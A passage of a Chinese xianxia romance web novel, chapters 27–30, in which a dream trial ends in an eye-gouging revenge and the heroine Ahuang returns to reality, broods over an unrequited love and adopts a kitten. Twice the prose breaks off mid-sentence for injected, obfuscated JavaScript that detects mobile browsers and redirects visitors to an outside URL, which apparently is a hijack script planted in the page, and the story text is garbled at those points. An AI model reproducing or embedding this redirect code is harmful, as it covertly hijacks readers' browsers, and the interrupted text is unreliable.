“不重要了,你不是很嫌弃我吗?你以后再也看不到我了,我还得谢谢你,让我知道了,不要爱一个不该爱的人,从今往后,世上再也不会有一个爱着独孤凤渊的阿凰了。” 阿凰说着说着,自己笑了起来,笑容却那么苦,眼泪流下来,却都是血色的泪,她说:“我早就失去了你,我应该早点放过自己的,而你也从现在开始彻底失去了我。” “怎么回事?怎么回事!”独孤凤渊痛苦不已,目眦欲裂,阿凰的脸和记忆深处模糊的面容渐渐贴合。 顾纯儿想说点什么,可她嗓子里只能发出嘶哑的声音,她顿时像被雷劈了一样愣住,用力捂住自己的脖子,想大声呼叫,可是什么话都说不了。 她求助地看向独孤凤渊,可是他已经深深沉入自己的情绪当中,顾不得旁人。 教主叹口气,说道:“世间因果纠缠,有得必有失,阿凰姑娘,你时日不多,我便告诉你也无妨,你幼时是不是生了一场大病?那时你的嗓音被人趁机夺去,正是药宗中人拿了去,至于拿去做什么,去向何处,你现在是不是能明白了?” 宋清希看着顾纯儿,她也再度愣住,一个劲摇晃脑袋,好像不愿意面对这个事实,他顽劣地想,真可惜,要是阿凰能看到这个场景就好了。 独孤凤渊平静了许多,捕捉到关键字眼:“时日不多?” 宋清希也反应过来,求证地看着教主:“父亲!怎么回事?” 阿凰答应了和教主做交易,她要拥有声音,她想说话,而代价是,失去自己的生命,把教主想要的极纯粹的魂魄给他。 她摸索着拿出一支玉笛,那是她托宋清希要的,没想到独孤凤渊承诺的玉笛她直到死也没得到,反倒是宋清希给了她。 隔了这么久,她又吹出熟悉的曲调,虽然看不见,但每个孔的位置她都很熟悉,吹奏不是难事,明明是轻松悠扬的曲子,独孤凤渊却听得很痛苦。 远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟…… 那是她教他的歌。 脑海里朦胧的雾正在随着笛声一点点散开。 阿凰的身体开始变得透明,从脚尖一点点消散,她却感受不到痛苦,继续吹着笛子。 宋清希大惊失色,冲过来抱住了她,独孤凤渊也后知后觉,手脚并用从地上爬起来,顾纯儿尝试拉住他的衣角也被他甩开。 他推开宋清希,抱住阿凰,她的身体已经消散到膝盖。 “我记起来了,我全部都记起来了。”独孤凤渊死死抱着她,迸发出无穷的力量把想靠近的人都撞开。 “之前是我失去了记忆,现在我都想起来了,清水村的那几个月,点点滴滴都刻在我的脑海深处,我没有忘记,阿凰,我都记起来了。” 他想用力抓住她,又怕她散开。 “你不要恨我好不好,不要离开,给我一个机会,让我把我给你的承诺一个个实现,你喜欢油菜花,我们就在府中全部种满。” 阿凰心想,他还是那么傻,她不是喜欢油菜花,是喜欢开满油菜花的清水村,喜欢那时还很快乐的回忆。 “等我把你的眼睛还给你,你带着我想去哪里都可以,你别走……” 那又怎么样呢?一切都来不及了,已经无所谓了。 错过就是错过了,这世上很多事是没有机会重来一次的。 阿凰的意识彻底离体,身体最后的部分也迅速消散。 归去前,她看到独孤凤渊打算挖了顾纯儿的眼睛,她惊恐着后退,满脸泪痕,狼狈不堪,本就平凡的面容此时变得扭曲,求饶无效便大骂所有人,可她已经骂不出来,只有表情和肢体动作让人分辨出她很崩溃。 独孤凤渊还是硬生生剜了顾纯儿的双眼,面无表情地看着她脸上的两个窟窿在流血,她连惨叫都发不出。 他又记起来了,脑袋撞失忆后,拜顾纯儿所赐,她身为医仙让他保持失忆是很容易的事,否则他早该想起来的。 顾纯儿没撑太久就死了,独孤凤渊看着她倒在淤泥里破败的尸体,许多苍蝇围了上来,身体上生了蛆。他觉得真是奇怪,自己怎么会被这么一个虚伪丑陋的人哄骗,错把她当做真正的爱人? 脱离了当局者迷的身份,他回想起来,没了药宗的身份,顾纯儿真是一个很普通的人,毫无优点,偷了别人的人生,一个满口谎言自私刻薄的小偷,没有人会真正爱这么一个人。 在许多年以后,在阿凰看不见的世界,独孤凤渊灭了试图为顾纯儿报仇的药宗,余生都在抗击西明和北冥教。 阿凰曾经住过的院子开满了油菜花,独孤凤渊独自坐在庭院里,手中捏着那枚刻了凤字的玉佩,后来有了能力,他早就知道了所有事。 那枚玉佩的光泽好像在消失。 独孤凤渊长久的出神,忽然流下眼泪,是血泪。 他看不见了。 “我把眼睛还给你了。” 28. 恍如隔世 神机庭广场之上,环绕着众人的光华正在减淡,等到光华彻底消失,坐在地上的人们一个个都睁开眼。 有的人帐然若失,有的人脸上都是眼泪,反应各不相同。 阿凰缓缓睁眼,好久才回过神,直到看清面前的一切,她才想起来自己身处何处,才知道现在是现实世界,刚才的一切都是一场梦境。 她摸了摸脸颊,那里一片湿润。 明明只是一场历练,她心中却很酸楚,痛苦的情绪还未散去,那些场景历历在目,无依无靠的无助、被排挤冷落的孤独、看着喜欢的人受别人迷惑,还有挖眼睛时的痛苦,最后解脱了,也失去了一切。 好真实的经历,差点就陷入其中走不出来了,难怪玄极再三强调,难怪需要有特别出众的实力才有资格参与。 手掌抚上心口,那里还在咚咚跳,惊魂未定,就好像她自己真的被挖了眼睛,被人偷走了声音,好像真实地经历了一场刻苦铭心的感情,经历了痛苦的一生。 阿凰下意识摸了摸眼睛,那里还是完好的,眼前的一切也还清晰可见,她又咳嗽了几声,试着发出声音,好在也和入镜前一样,发现一切如常她才缓了一口气。 还能说话,还能看见,真好。 否则真的失去了眼睛和声音,甚至是失去三感,她不敢想象那是多么灰暗的世界,她可不是海伦凯勒,无法做到那种绝境下还活得精彩。 不知是不是受了太大的惊吓,她身上很热,出了一身汗。 好无助的一生,梦境里的阿凰太可怜了,她总觉得那是自己,又不是自己。 回到现实众人都沉默了好久,包括玄极。 发现顾纯儿情绪不对劲,所有人都围了上去,阿凰头一次看见她脸色这么难看,当着众人的面不再维持体面,一时分辨不出她是什么情绪,什么想法。 好久,顾纯儿才找回状态,只是笑不出来了,回应旁人的关心:“我没事,只是没料到镜中世界这么真实,差点走不出来了。” 玄极细心查看起她的情况,为她输入一些灵力,让她心神安定下来,她笑容中带着一丝苦涩,好像还没有走出来,显得更惹人心疼了:“多谢师父,我好多啦。” 和镜中世界里的她以此姿态博得别人同情,轻而易举骗取独孤凤渊真心的时候一样,一时让阿凰有点恍惚,怀疑是不是还在幻境中。 看着那边的热闹,阿凰自己在人群边缘,早已习惯了这样的场景。 她又想起镜中世界的经历,虽然知道都是假的,可看着顾纯儿的脸,她还是有点后怕,那样的顾纯儿,为了玄极几乎做到了无所不用其极,偏激得有点陌生了。 那个世界的顾纯儿和现实中简直判若两人,那么自私歹毒,心思深沉,几乎能轻松掌控所有人,阿凰甚至产生了恐惧感,不过好在那一切都是虚假的。 而独孤凤渊……阿凰回想起幻境中的场景,她和他相识相处相爱的点点滴滴,竟让她有些怀念,他好像一直都是这样的,真实与虚幻中都差不多的性子,有时幽默风趣又温柔多情,有时冷淡疏离,若即若离的,真是捉摸不透。 她开始幻想起不可能的预设。 如果她早一点和他认识,或者,在很久以后,他终于回头看她一眼,给她一个机会,让他了解她,会不会他也愿意像对顾纯儿那样对待她呢? 可惜没有如果。 她才知道,原来人生的出场顺序是那么的重要。 阿凰望向独孤凤渊,他和宋清希、玄极他们一样,一心一意关切着还没走出来的顾纯儿,他的心那么诚挚地追随着那个女孩,轻而易举就会被她所牵动。 她其实心里很清楚,他永远不会看到她,她也从没想过要和顾纯儿争,没资格,不敢争,也争不过。 也不好意思争。她们可是朋友啊,怎么能抢朋友的男人? 在阿凰的视角,顾纯儿虽然喜欢着玄极,旁人都是单相思,可他们也是顾纯儿的朋友,她绝不会越位社交抢别人的朋友,在前世她和朋友的朋友一直保持边界感。 因为她有过这样的经历,有一个人通过她认识了她的好朋友,没过多久,突然有一天,那两人成为好朋友,她这个原住民反而成了入侵者,很可笑,后来她才发现三个人的友谊那么拥挤。 越位社交最可恶了,她绝不要这样做。 有的人费尽心思却只能成为小丑,而有的人甚至只是站在那里,所有好东西都会自动送到她手里。 谁会乐意当绿叶衬托别人呢?如果做不到拒绝,那就努力忽视吧。 她不想当个小丑,她也是有自尊的,她更不想真的和幻境里一样,一生都那么痛苦,最后却失去一切。 虽然她本来就什么都没有。 喜欢上一个不可能回头的人已经很难受了,不能自己也不放过自己。 而且……按照独孤凤渊的性子,经历了这一次幻境,阿凰总觉得自己要真的和他纠缠上,一定会吃很多苦头的,爱上一个心里没有自己的男人,命苦的女孩一定会天天因为他而流泪。 幻境中的他和现实一样,对于不爱的人真的好狠心。 阿凰甚至开始害怕,如果哪天自己不小心惹了顾纯儿,独孤凤渊一定不会放过她的。 也许是察觉到有人盯着自己太久,独孤凤渊看了过来,却撞上阿凰带着害怕和防备的眼神,心里觉得很不舒服,很别扭,真实的他又没对她做什么,为何要那样看着他? 此时顾纯儿也回想起来阿凰的存在,看了她一眼,眸中闪过一瞬的不悦。 “纯儿师姐,你怎么了?”宋清希察觉到她的情绪变化,问。 独孤凤渊的注意力也立刻转移,暂时没心思想阿凰的事了:“纯儿师妹,若心里实在不适,就尽管发泄出来吧,我们永远是你的后盾。” “我只是……还在后怕,梦境太真实了,我的眼睛似乎还在痛。”顾纯儿抚摸着眼睛,又咳嗽了两声,语气柔柔弱弱的,“我真的很害怕,如果我真的瞎了,变成哑巴,还不如去死。” 独孤凤渊慌了神,急切道:“实在对不住,镜中世界我也无法控制自己,做出了伤害你的事,完全是违背了我的本心,我是绝不可能会伤害你的,哪怕我自裁也绝不会对你出手,纯儿师妹尽管打我骂我出气,我绝无怨言。” 阿凰惊了,他不是身负振兴凌霄宗的重任吗?居然肯轻而易举就为了别人去死?他不是事业心很重吗? 好吧,看来爱情真的会使一个人盲目。想了想幻境中的独孤凤渊所作所为,他有这个想法,阿凰突然也不觉得奇怪了。 她还是觉得,活命最重要,爱一个人就要抛弃性命,那也太可怕了,还不如不爱。 “镜中世界数十载,现实只过了三日,回去照常修行自身,调理状态,若有不稳定随时找本座,歇息半个月后进入下一个阶段。”玄极道。 只需稍作查看,他就看出来几个弟子修为有所长进,放心许多,接下来只需要稳固灵气,安心等到下一次进入镜中即可。 视线短暂地在阿凰身上停留便移开。 镜中世界虽为虚幻,但人物行为与性格和现实中是大差不差的,每个人的表现玄极都不意外。 顾纯儿虽偏激了些,但她本就出身优越,心高气傲些也在所难免,只要不走火入魔,无伤大雅。并且,那也是为了他,作为师尊他好生引导就是,一切都在掌控之中。 至于阿凰,他暂时不想评价。这个外人眼里平平无奇的弟子,却是他一直看不透彻的,总觉得她身上有很多尚未发掘的秘密。 对于她,玄极不只是当徒弟看待, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144140|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多的是当成一个观察对象。 她的本色是顽强善良又执着的,这一点他并不意外,在镜中世界,由于暂时失去现实中的记忆,每个人都会激发出自己的本质。 后来阿凰恢复了自己的声音,竟也是如此动听的,甚至比顾纯儿的声音还令人留恋,玄极不由得想,她原本也该是这样的音色,只是发生了什么导致声音受损。 “师父,那我身体不舒服的时候还可以去找你吗?”顾纯儿柔柔的声音,带着祈求和一些撒娇的意味。 就好像,她知道镜中世界的自己太过分了,害怕被嫌弃,在期待着,试探别人的态度。 玄极也知道她在担忧这个,语气放轻了些:“可以。” “好!”顾纯儿喜出望外,声音甜得发腻。 “若纯儿师妹有需要,在师父忙碌时,也尽管放心找我帮忙。”独孤凤渊紧接着道。 看他那急着邀功,想向顾纯儿明示自己也很有作用,表达自己的模样,阿凰只觉得可笑,人在爱情面前真是盲目,在镜中世界的他被欺骗,后来甚至亲手剜了顾纯儿的眼睛,可一出来就忘得一干二净。 “我也可以帮忙!”宋清希不甘示弱,“纯儿师姐还没见过我照顾别人吧?我可不是只会打架的,正好让师姐见识一下我的另一面。” 又是一只开屏公孔雀。阿凰想起来,这家伙在镜中世界同样性子顽劣,他迅速爱上顾纯儿一点也不意外,她只是没想到,后来的宋清希竟会移情别恋自己。 “你们都这么关心我,都让我不好意思了。”顾纯儿回应,“放心啦,我尽量好好的,不麻烦大家。” 一个“你们”让阿凰后知后觉,别人都在关心顾纯儿,她不表态也太不礼貌了,立即说:“我也可以帮忙,虽然不一定用得上,我也不知道自己能做什么,只要有需要我会努力的。” 不料顾纯儿看着她,眼中尽是惊恐和警惕,仿佛她是什么罪大恶极的人,就好像镜中世界欺骗伤人的恶人不是她顾纯儿,而是阿凰。 独孤凤渊见状忙将顾纯儿护至身后,责备的眼神暼了阿凰一眼,玄极也紧随着关切起顾纯儿,宋清希原本下意识想和阿凰对着干,说反话,但想到这是在顾纯儿面前,及时止住想法,这时更被顾纯儿的反应吸引注意力,只顾得上关心她。 独留阿凰怔愣在一边,尴尬得不知道说什么,看着众人望向自己的目光不知所措,好像被所有人用目光审讯。 好在顾纯儿受到众人的关照后又恢复了正常,擦擦眼泪,活脱脱的带泪梨花。 人群陆陆续续离开神机庭,阿凰跟在旁边,看着几人围绕着顾纯儿有说有笑,听久了有点神游天外。 视线里突然出现有点熟悉的身影,阿凰定睛一看,那边的蓝衣女子,可不就是那个野人……那个好心人。 是了,镜中世界她是蝴蝶精,被顾纯儿抓住当苦力的小妖,既然她也来历练,不知道在她自己的幻境里,她是受人摆布的蝴蝶精还是另外的故事呢? 幻境里,顾纯儿被抓住后,蝴蝶精得到了自由,继续当潇洒的山间精灵去了,依旧是那个自在的性子。 那边的蓝衣女子也转头看过来,只是不是看阿凰的。 顺着她的视线看去,阿凰发现她看的是……顾纯儿?同样的,顾纯儿也发现了她,两个人的脸色都不太好看。 原来她们两个早就认识了?难怪会出现在他们的幻境中,不过,这两个人的关系好像不太妙啊…… 阿凰有点好奇起来,顾纯儿也有讨厌的、合不来的人吗?可蓝衣女子那么大大咧咧的性格,究竟有哪里是顾纯儿不喜欢的? 三个男人也发现了顾纯儿的异常,看过去,那个蓝衣女子已经走了,便问候她,她只说没事,并不打算多透露。 阿凰更好奇了。 29. 陪衬 陆陆续续有人凑过来找顾纯儿说话,她的人脉比想象中还广,似乎整个门派都是她的人。 有四个女孩叽叽喳喳的过来了,又是阿凰从没见过的新人物,其中一个女孩大老远的就喊着顾纯儿的名字跑过来。 “纯纯!你也顺利通过试炼啦?”那个女孩站在顾纯儿面前,态度十分热烈,不知道是不是错觉,从她的笑容中阿凰总觉得有一种谄媚感。 四个女孩和顾纯儿交谈了会儿,阿凰得知她们的名字:春芽、夏莉、弥秋、赵冬。 这个名字组合,一整个四季姐妹团啊…… “新的外号出现了。”夜月姬的声音冷不丁地响起。 阿凰突然想到什么,说:“你还在啊,镜中世界发生的事你是不是都看到了?” “嗯,可惜我什么也做不了,否则不会让你受那么多的苦。” “其实也还好,都是假的,除了精神心理疲惫,没什么实际的损失。” 夜月姬欲言又止,阿凰说:“你有什么想说的就说吧。” “我要真说了你又不爱听。” 阿凰不说话了。夜月姬接着说:“你跟他……独孤凤渊,你们在镜中世界看得我快急死了,我还在想,你们在那里那么亲密,出来之后会不会尴尬死,没想到他一点也不放在心上啊,要不你问问他是什么感想?” “你觉得问了有用吗?他只会觉得我莫名其妙。”阿凰反问,“你也说了他不在意,我还上赶着问,不是有病吗?” 热脸贴冷屁股,明知某个人不喜欢自己,还要倒贴上去,都是纯贱行为。 莫名的,她想起镜中世界,独孤凤渊说她和他名字很相配,一个凤一个凰。 要不说世界奇妙呢,两个没有缘分的人名字这么有cp感干嘛? 夜月姬叹气了:“你就不能争气点,镜中世界的你好歹还敢主动去找他,敢表达自己的心意,现实中的你真怂啊,你不说他永远不会知道的!” “知道一个人根本就不可能喜欢你,他眼里只有别人,你还会自取其辱吗?”阿凰的声音很平静,“我虽卑微渺小,可也是有自尊的,控制不住喜欢他的心,可我能控制自己的行为,不让自己那么狼狈。” 穿越前她本就不幸,不懂得正确的感情,不懂得如何表达自己,现在也是,搞不明白自己的心,难道她的爱真的那么廉价吗?那么容易就喜欢上一个人了?她不明白自己是真的喜欢他,还是太寂寞了。 人就是这么矛盾的个体,做什么都无人问津,却渴望得到某个人的关注,她也有自知之明啊,有时候拼命主动,还不如万众瞩目的人只需要站在那里就够了,想讨好又怕得不到回应,好丢人,可有时候就是控制不住。 至少,在自己还清醒的时候保留一份体面吧。 镜中世界的阿凰结局惨烈,她那句话回荡在耳边:不要再犯贱了,阿凰。 好像在告诉真实世界的自己,不要执着于一个不爱你的人,为了他浑身血淋淋,最后失去了一切。 她觉得人的情感真的很莫名其妙,莫名其妙的爱,莫名其妙的恨,明明大脑清醒却无法控制自己的心。 有时甚至会因为自己的心乱了,而影响整个人的行为。 夜月姬气笑了:“行,反正他心里只有他的纯儿,和你的镜中经历当做没有,对她却初心不改,即使被骗被利用,你就永远当个哑巴,像镜中世界一样见证他和别人的爱情。” “我不该给你起外号叫晚上姐,以后叫你毒舌姐吧。” 知道她的牛脾气,夜月姬不继续讨论这个话题了,免得她更难过,顺着她新开的话题问:“最近认识了这么多人,你有没有起新的外号?可别说是单独针对我的。” 叫她晚上姐是因为她的名字,又有夜又有月的,四季姐妹团也是因为四个人名字里春夏秋冬都集齐了。 “有的姐妹,有的,像这么精彩的外号还有六个。”阿凰回忆着说,“独孤凤渊,就叫男神音,顾纯儿是酱紫妹,玄极是高冷哥,宋清希是桀骜哥,正枫是正义哥,徐子岑是橘子妹。” 而独孤槿,名字里带个槿,也确实给她一种木槿花的印象,温柔的坚持。 至于为什么没有许萧然,一开始阿凰对他的印象是很活泼的,性格像女孩子一样美好,可经历了镜中世界,她对这个人的印象又把握不准了。 “你的男神音在我眼里就是山猪,是泡椒凤爪。”夜月姬不屑道,“独孤凤渊,泡椒凤爪,心狠手辣。” 阿凰懒得争执,反正说不过她,只回了句“再说把你的嘴放爱回收上回收了”。 想什么来什么,许萧然不知道什么时候过来了,和阿凰打完招呼,在顾纯儿主动和他打招呼后,两个人热切地聊起来,已经不知天地为何物了。 “你就是清音门来的妙音仙子?顾门主大名鼎鼎,我早有耳闻,要是能托你的福,有一天能亲自见到就好了!”许萧然态度热切。 顾纯儿十分受用,说:“大家都是同门,都好说,我爹爹知道你这么崇拜他,也会很乐意见一见的。” 插不上话,感觉再多说一句自己就像一个上蹿下跳的小丑,好像在刻意加入别人,可是别人才不理你,大家的目标又不是你。 阿凰感觉有点尴尬,又当起透明人了。 又是这种局面,真是太诡异了。 她觉得这个世界就是一个巨大的地球online,顾纯儿是那个开桂的玩家,除了天赋没点在建模上,别的方面差不多都点满了,所有人都是头上带感叹号的npc,一遇到顾纯儿就自动触发流程。 而她自己,是那个误闯天家的局外人,眼看着这一切发生,觉得不对劲,却什么也做不了,守护不了自己的建模,全方位的天赋点都清空了,连脱离游戏都做不到。 她越来越觉得自己就是团宠文的npc,虽然一直没有系统提醒她穿书了,也是,npc哪来的系统,做好陪衬就好了。 这种感觉好可怕,所有人都没有自己的灵魂,只为那一个人服务。阿凰被自己荒诞的想法吓到了,赶紧住脑。 有一点倒没想错,从另一个世界穿越过来的她,对于这里确实是局外人。失去了建模、资金、声望、特长,这一世被贬为凡人,在一众天龙人的对比下,显得那么格格不入。 所以她经常会有一种自己从来都不属于这个世界的感觉,一切都虚无缥缈。 在阿凰垂眸出神的时候,独孤凤渊不知为何脑海里闪过镜中世界的经历,视线瞟到了这边,一时被她的双目吸引,那双眼睛澄澈明亮,如一枚通透的玉环,认真注视时便会被吸引,独自安静垂眸时美目那么忧郁,引人探究。 他头一次发现,她有一双这么美的眼睛,原来她也是有自己独特的优点的。 回想起来,他好像从没有观察过她,她一直都是这么安静的,从来不引人注目,也因为太安静,很容易就被排挤在人群之外。 不知为何,看着她一个人孤零零地在人群边缘,独孤凤渊总觉得她有一天会轻飘飘地离开这个世界,不留下一丁点痕迹,也不带走任何东西,没有人会发现她彻底离开了。 就好像,她早就习惯了一直孤独。 回忆起镜中世界的经历,独孤凤渊自然知道,幻境中的人物行为和性格与自身大差不差,只是没想到,阿凰竟会那么勇敢而坚韧,可以为了别人付出一切,在那样的处境之下,明明只是一个普普通通的乡野女子,失去了声音和视力,还能如此顽强,保持良好的心态与善良的本心,还能为了别人着想。 他一时看不透,这个看起来总是没什么存在感,看似平平无奇的女孩,到底是一个什么样的人。 她掌握了天舞缭乱,可她身世平凡,她看似丑陋,可仔细看就看得出来她身形姿态非凡,去掉胎记后是惊人的美貌。 独孤凤渊开始怀疑,玄极收她为徒不只是因为天舞缭乱。 她身上似乎隐藏着什么秘密。 那边的顾纯儿唤了一声“独孤师兄”,独孤凤渊就立刻转移注意力,把那些陌生的想法抛之脑后,加入顾纯儿的话题。 而阿凰耳朵里捕捉到这个字眼,也回过神来,看着他们谈天说地。 四季姐妹团还没走,缠着顾纯儿有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176582|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说有笑,阿凰怀疑自己是不是看错了,她竟看出来,顾纯儿似乎有一点敷衍?好像希望她们离开又不好意思开口,应该是觉得累了吧。 回到无尽峰,远远的就看到树下站着一男一女,看了会儿,阿凰辨认出来,那是正枫和独孤槿。 那两人迎上来,独孤槿眸中皆是惊喜和庆幸,看看独孤凤渊又看看阿凰,说:“你们平安归来了,顺利度过历练,真是太好了!” 她对自己的表哥真的好上心,可惜独孤凤渊却只是淡淡地回应了她一下,阿凰便主动站到她身边:“谢谢你们挂念着。” 正枫道:“平安归来就好,听说镜中世界十分凶险,你们没受伤吧?” 阿凰摇摇头:“没有什么损伤,一切都是虚幻的,过去了就好了。” “正枫师兄,你好啊,你是特意来等阿凰的吗?真的好上心啊。”顾纯儿主动打招呼。 阿凰有点惊讶,怎么什么人她都认识啊? 同样惊讶的还有正枫本人,他愣了下,回道:“身为同门自然是关心大家的,我与独孤姑娘在此等候,就怕出事可以照应。” 一向单纯又耿直的正枫还是挺有情商的嘛。阿凰想,既化解了顾纯儿那番容易引起误会的话,也在独孤凤渊和独孤槿之间表明态度避嫌。 顾纯儿这才看了独孤槿一眼。 与众人分开后,阿凰独自回到观画阁,独孤槿跟随独孤凤渊去了,而正枫也要去忙自己的事情。 刚靠近屋子就听到猫咪焦急地喵喵叫,那声音委屈又撕心裂肺,一声接着一声,阿凰以为它出事了,飞快冲进屋子里,小猫闪电一样刷一下就扑过来,绕着她转圈圈。 一番查看过后,确定小猫安然无恙,阿凰才放心了,小猫依然喵喵叫个不停,声音听起来已经没那么焦急了,一个劲围在她脚边转悠。 她猜测小猫以为自己被主人抛弃了才这么着急的,便喂了点食物,摸摸它的脑袋和下巴。 小猫每吃几口就要停下来,绕着她转来转去,用小猫脑袋蹭蹭她的脚踝。 “好啦,小可怜,我没有丢下你不管,只是出去忙了三天。”知道小猫听不懂,阿凰也和它说话,就算是发出声音给它的安慰吧。 去历练前她原本打算把小奶猫托付给不需要去历练的几个朋友照顾,可是猫咪实在太怕人了,除了她谁也无法接近。 她便去器宗问问有没有可以自动喂食的东西,没想到还真有,只是她手里灵石不够,作为同门,器宗也轻易让她赊账了。 有了自动喂食的工具,小猫这几天的水和食物就不用担心了。 要是能找个玩具陪它玩就好了,不至于独自一猫在家这么孤单。 小奶猫声音特别嗲,还很喜欢叫,听得阿凰心都化了,真是手段了得。 它吃饱喝足,舔完爪子,一跃而起跳进阿凰怀里,一边踩奶一边调整好位置,窝在她腿上,把自己的身体团成了一个球,舒舒服服就躺好了,嘴里发出呼噜呼噜的声音,像引擎声。 怀里暖呼呼的,那个小生命正安逸地窝着呢,弱小,可怜,却顽强地生存下来。 阿凰比划了一下,小奶猫就一个拳头大小。 听说白猫由于没有花纹,会被别的猫看不起,欺负排挤。 难怪它刚被带来的时候,那么警惕,小眼神可怜兮兮的,现在精神气已经好了许多,阿凰有一种成就感。 流浪猫是很惨的,她发誓要好好养着这只小猫。 “小家伙,你也和我一样孤零零的,以后我们互相陪伴,一起生活吧。” 看着怀里的白色团子,阿凰想起来还没有给小猫起名字,思考良久,她询问道:“就叫你球球好不好?” 因为它总是把自己团成一个球。 小奶猫喵喵叫了两声,也不知道是听懂了在回应,还是单纯的就喜欢叫。 趴了一会儿,它站起来,又开始在阿凰腿上踩奶,两只前爪交替着轻轻踩,白色的爪子像山竹一样,喉咙里又发出呼噜呼噜的声音,踩得阿凰觉得痒,又不忍心把它放下去,便忍着让它踩,憋了会儿笑出来了。 30. 白猫和猎犬 怕球球老是闷在家里闷坏了,阿凰便打算带着它出去玩玩,接触大自然,呼吸新鲜空气。 好在无尽峰地方大,人烟稀少,阿凰把球球放在一个小箩筐里背出去,一路上都没见到什么人。 来到一处宽阔的草地,阿凰把球球放下来,看周围没有人,球球撒丫子跑,在草地上打滚,活力十足,她看了也开心。 陪球球玩了半个时辰,她也累出一身汗,坐在地上看着球球追逐蝴蝶。 “这就气喘吁吁,你还是太虚了。”是夜月姬的声音。 这倒是提醒了她,已经好久没吃药调理身体了,好在最近都在修行,又是身处紫微派这样灵力充沛的地方,身体不至于太差劲,可长久下去也不是个办法。 得赶紧努力挣点灵石去药宗买药才行。 在脑海里和夜月姬聊了会儿,她又要歇息了,阿凰也休息够了,便要起身陪球球玩。 球球忽然拿出警戒状态,身体缩起来,重心放在后肢,身子伏在地上,一副准备发起攻击的模样,它盯着不远处,阿凰也看过去,一条灰色的狗走过来,一派轻松的模样,一边走一边还摇尾巴,一点敌意都没有。 这条狗看起来体型稍大,再一细细观察,它体型健美,倒像一条猎犬,一看就是有人养着的,也不知是谁养的狗自己跑出来玩了,见到陌生人一点也不怕生,还冲陌生人摇尾巴。 狗狗围在阿凰脚边,头一次见到她就像见到主人一般亲昵,她竟然从它眼中看出了期待,好像很想要她摸摸头,她便尝试着伸出手碰了碰它的脑袋,它更兴奋了。 好像一条完全没有心机、没有攻击性的傻狗。 傻狗尝试向球球迈出腿,也不着急,一步一步来。 意识到猎犬在示好,球球好像嗅到了安全的气息,加上有主人在身边,也不发出引擎声了,试探着跟猎犬玩耍,歪着小猫脑袋,伸出山竹爪子去挠猎犬的嘴筒子,猎犬也在回应着它。 作为一条猎犬,竟如此温顺。 一猫一狗,竟无比和谐,就像朋友一样。 有别的小动物陪球球玩,还玩得这么开心,阿凰放心了,猫咪的心理健康也是要重视的,她头一次养猫,球球又没有妈妈陪伴,她就怕它孤单抑郁。 两个小家伙玩得有来有回,阿凰暂时可以休息,坐在一旁看着,有时候球球会跑回来蹭蹭她,她没忍住捏捏球球的粉色肉垫,凉丝丝的,很软,一按,尖尖的透明指甲就露出来,藏在柔软爪子里锋利的武器。 手感真好啊,太可爱了…… 再摸摸小猫的下巴,那一块的毛是最柔软的,它会主动扬起脑袋,抬起下巴,舒服地眯起眼睛享受,喉咙里发出呼噜呼噜的声音。 泉水叮咚引起了阿凰的注意,转身看去,地势低洼处有山泉水滑过石头,在最底下堆积成一个小水池。 眼看距离不远,猫猫狗狗玩得正嗨,阿凰想过去喝口水,也借着凉爽的气息冲一下身上的热意。 站在泉水边,阿凰摘下一片叶子接水,喝了一口,就感受到这是灵泉之水,清澈的灵泉流动,连附近的植物都长势喜人,难怪让她看了就想喝。 在紫微派这样人杰地灵的地方,随处可见的灵泉还真是不意外。 看了看周围没人,阿凰脱下鞋袜,提起裙摆,挽起裤腿,坐在水池边干净的石头上,白皙的脚背下,乌青的青筋似乎要突破那层薄薄的皮而出,肌肤显得吹弹可破,将脚沉入水中时,竟没有寒气,反倒是身心都放松下来。 藕节一样的小腿露在外面,浸没在水中,沾了一些水滴,更是白净细腻,若有男子偶然经过,看了去,定会面红耳赤。 阿凰本身作为一个现代人没有这种身体羞耻,只不过入乡随俗,不想显得太奇怪,该守的规矩只能一起遵循。 泡着泡着,也许是太过轻松了,阿凰不禁用脚甩起水来,只有这时她才明白了电视剧里的女孩们为什么要这样做,因为真的很轻松很开心啊。 当然,只有自己一个人的时候,在极致的安静与放松下才会这样,要是有旁人自然不会,否则显得太矫情了。 可她没发现的是,在不远处,暗中站了一个男子,原先是看着和球球玩的那条狗,不知为何,目光竟在她这边停留了许久,直到看着她光洁的脚甩起一阵阵水花,挽起的裤腿都被水打湿了一些,他别扭地扭过头去。 阿凰抬起头时,发现球球和狗狗的身影不见了,立刻收拾好跑回去,远处小小的人影和一猫一狗正在玩耍。 以为是猫狗贩子,阿凰飞了过去,落地先把球球抢在怀里,这才看向那人的脸,一看就愣了一下,这不就是那个蓝衣服野人……好人。 虽然每次见到她都是蓝色衣服,但每一件样式都不一样。 “是你啊?你怎么会在这里?”阿凰出声询问。 “这猫狗放在地上我以为没人要呢,手慢就无了。”蓝衣女子开玩笑说。 看到蓝衣女子手里的食物,又给猫狗丢了一些,它们争抢着吃,球球居然不怕她。阿凰明白了,估计是她一时没看住,球球和猎犬走远了,蓝衣女子喂吃的把它们逗住呢。 “谢谢你,刚刚去洗了会儿手没注意。”阿凰说,“之前在后山你帮了我还没来得及感谢,一并还上了。” “你要用什么谢我?” 